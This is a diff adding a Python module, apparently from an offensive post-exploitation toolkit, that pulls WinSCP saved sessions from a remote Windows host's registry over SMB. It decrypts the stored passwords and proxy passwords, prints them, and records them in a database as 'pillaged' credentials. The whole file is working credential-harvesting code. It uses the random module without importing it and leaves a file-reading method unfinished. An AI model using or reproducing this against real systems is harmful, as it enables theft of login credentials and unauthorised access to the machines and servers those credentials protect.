■ ■ ■ ■ ■ ■
software/sysadmin/winscp.py
| 1 | + | # Code based on vncpasswd.py by trinitronx |
| 2 | + | # https://github.com/trinitronx/vncpasswd.py |
| 3 | + | import binascii |
| 4 | + | import codecs |
| 5 | + | import traceback |
| 6 | + | |
| 7 | + | from . import d3des as d |
| 8 | + | |
| 9 | + | from lib.toolbox import bcolors |
| 10 | + | |
| 11 | + | |
| 12 | + | # from https://github.com/dzxs/winscppassword/blob/master/winscppassword.py |
| 13 | + | |
| 14 | + | |
| 15 | + | PWALG_SIMPLE = 1 |
| 16 | + | PWALG_SIMPLE_MAGIC = 0xA3 |
| 17 | + | PWALG_SIMPLE_STRING = '0123456789ABCDEF' |
| 18 | + | PWALG_SIMPLE_MAXLEN = 50 |
| 19 | + | PWALG_SIMPLE_FLAG = 0xFF |
| 20 | + | PWALG_SIMPLE_INTERNAL = 0x00 |
| 21 | + | |
| 22 | + | |
| 23 | + | def simple_encrypt_char(mychar): |
| 24 | + | mychar = ~mychar ^ PWALG_SIMPLE_MAGIC |
| 25 | + | a = (mychar & 0xF0) >> 4 |
| 26 | + | b = (mychar & 0x0F) >> 0 |
| 27 | + | return PWALG_SIMPLE_STRING[a] + PWALG_SIMPLE_STRING[b] |
| 28 | + | |
| 29 | + | |
| 30 | + | def simple_decrypt_next_char(password_list): |
| 31 | + | if len(password_list) <= 0: |
| 32 | + | return 0x00 |
| 33 | + | a = PWALG_SIMPLE_STRING.find(password_list.pop(0)) |
| 34 | + | b = PWALG_SIMPLE_STRING.find(password_list.pop(0)) |
| 35 | + | |
| 36 | + | #print(f'end : {0xff & ~(((a << 4) + b << 0) ^ PWALG_SIMPLE_MAGIC)}') |
| 37 | + | return 0xff & ~(((a << 4) + b << 0) ^ PWALG_SIMPLE_MAGIC) |
| 38 | + | |
| 39 | + | def encrypt_password(password, key): |
| 40 | + | """ |
| 41 | + | encrypt_password('helloworld123', 'root'+'120.24.61.91') |
| 42 | + | """ |
| 43 | + | password = key + password |
| 44 | + | if len(password) < PWALG_SIMPLE_MAXLEN: |
| 45 | + | shift = random.randint(0, PWALG_SIMPLE_MAXLEN - len(password)) |
| 46 | + | else: |
| 47 | + | shift = 0 |
| 48 | + | result = '' |
| 49 | + | result += simple_encrypt_char(PWALG_SIMPLE_FLAG) |
| 50 | + | result += simple_encrypt_char(PWALG_SIMPLE_INTERNAL) |
| 51 | + | result += simple_encrypt_char(len(password)) |
| 52 | + | result += simple_encrypt_char(shift) |
| 53 | + | for i in range(shift): |
| 54 | + | result += simple_encrypt_char(random.randint(0, 256)) |
| 55 | + | for i in password: |
| 56 | + | result += simple_encrypt_char(ord(i)) |
| 57 | + | while len(result) < PWALG_SIMPLE_MAXLEN * 2: |
| 58 | + | result += simple_encrypt_char(random.randint(0, 256)) |
| 59 | + | return result |
| 60 | + | |
| 61 | + | |
| 62 | + | def decrypt_password(password, key): |
| 63 | + | """ |
| 64 | + | decrypt_password(encrypt_password, 'root'+'120.24.61.91') |
| 65 | + | """ |
| 66 | + | if not password or not key: |
| 67 | + | return '' |
| 68 | + | password = list(password) |
| 69 | + | flag = simple_decrypt_next_char(password) |
| 70 | + | if flag == PWALG_SIMPLE_FLAG: |
| 71 | + | _ = simple_decrypt_next_char(password) |
| 72 | + | length = simple_decrypt_next_char(password) |
| 73 | + | else: |
| 74 | + | length = flag |
| 75 | + | password = password[int(simple_decrypt_next_char(password)) * 2:] |
| 76 | + | result = '' |
| 77 | + | for i in range(length): |
| 78 | + | result += chr(simple_decrypt_next_char(password)) |
| 79 | + | |
| 80 | + | # print result |
| 81 | + | if flag == PWALG_SIMPLE_FLAG: |
| 82 | + | if result[:len(key)] != key: |
| 83 | + | if 'proxy' in result: |
| 84 | + | result=result[result.index('proxy')-1+len('proxy)'):] |
| 85 | + | else: |
| 86 | + | result = '' |
| 87 | + | else: |
| 88 | + | result = result[len(key):] |
| 89 | + | return result |
| 90 | + | |
| 91 | + | |
| 92 | + | class Winscp(): |
| 93 | + | def __init__(self,smb, myregops, myfileops, logger, options, db): |
| 94 | + | self.myregops = myregops |
| 95 | + | self.myfileops = myfileops |
| 96 | + | self.logging = logger |
| 97 | + | self.options = options |
| 98 | + | self.db = db |
| 99 | + | self.smb = smb |
| 100 | + | |
| 101 | + | def winscp_from_registry(self): |
| 102 | + | pfound = [] |
| 103 | + | puttys = ( |
| 104 | + | ('Winscp', 'HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions'), |
| 105 | + | #('WinSCP', 'Software\\Martin Prikryl\\WinSCP 2\\Configuration', 'Security'), |
| 106 | + | ) |
| 107 | + | |
| 108 | + | for putty in puttys: |
| 109 | + | try: |
| 110 | + | reg_sessions = self.myregops.get_reg_subkey(putty[1]) |
| 111 | + | for reg_session in reg_sessions: |
| 112 | + | try: |
| 113 | + | self.logging.debug(f'Found Winscp session : {reg_session}') |
| 114 | + | HostName=self.myregops.get_reg_value(reg_session, 'HostName')[1][:-1] |
| 115 | + | encPassword = self.myregops.get_reg_value(reg_session, 'Password')[1][:-1] |
| 116 | + | Username=self.myregops.get_reg_value(reg_session, 'Username')[1][:-1] |
| 117 | + | try : |
| 118 | + | PortNumber = self.myregops.get_reg_value(reg_session, 'PortNumber')[1] |
| 119 | + | except Exception as e: |
| 120 | + | self.logging.debug(f'except {e}') |
| 121 | + | PortNumber = '' |
| 122 | + | Password=decrypt_password(encPassword, Username + HostName) |
| 123 | + | self.logging.info(f"[{self.options.target_ip}] Found Winscp : {bcolors.OKBLUE}{Username}:{Password}@{HostName}:{PortNumber}{bcolors.ENDC}") |
| 124 | + | ############PROCESSING DATA |
| 125 | + | self.db.add_credz(credz_type='Winscp', |
| 126 | + | credz_username=Username, |
| 127 | + | credz_password=Password, |
| 128 | + | credz_target=f"{HostName}:{PortNumber}", |
| 129 | + | credz_path='', |
| 130 | + | pillaged_from_computer_ip=self.options.target_ip, |
| 131 | + | pillaged_from_username='') |
| 132 | + | except Exception: |
| 133 | + | self.logging.debug(f'Problems with Winscp : {putty}') |
| 134 | + | |
| 135 | + | ######## If we have proxy data |
| 136 | + | try: |
| 137 | + | HostName = self.myregops.get_reg_value(reg_session, 'HostName')[1][:-1] |
| 138 | + | ProxyUsername = self.myregops.get_reg_value(reg_session, 'ProxyUsername')[1][:-1] |
| 139 | + | ProxyPasswordEnc = self.myregops.get_reg_value(reg_session, 'ProxyPasswordEnc')[1][:-1] |
| 140 | + | ProxyPassword = decrypt_password(ProxyPasswordEnc, ProxyUsername + HostName) |
| 141 | + | self.db.add_credz(credz_type='Winscp', |
| 142 | + | credz_username=ProxyUsername, |
| 143 | + | credz_password=ProxyPassword, |
| 144 | + | credz_target=HostName, |
| 145 | + | credz_path='', |
| 146 | + | pillaged_from_computer_ip=self.options.target_ip, |
| 147 | + | pillaged_from_username='') |
| 148 | + | self.logging.info( |
| 149 | + | f"[{self.options.target_ip}] Found Winscp Proxy: {bcolors.OKBLUE}{ProxyUsername}:{ProxyPassword}@{HostName}{bcolors.ENDC}") |
| 150 | + | |
| 151 | + | except Exception as e: |
| 152 | + | self.logging.debug(f'exception while looking for proxy info {e}') |
| 153 | + | |
| 154 | + | |
| 155 | + | |
| 156 | + | except Exception: |
| 157 | + | self.logging.debug(f'Problems with Winscp : {putty}') |
| 158 | + | continue |
| 159 | + | return pfound |
| 160 | + | |
| 161 | + | def WinscpFromFile(self): |
| 162 | + | path = "\\AppData\\Roaming\\winSCP.ini" |
| 163 | + | |
| 164 | + | |
| 165 | + | def run(self): |
| 166 | + | return self.winscp_from_registry() |
| 167 | + | |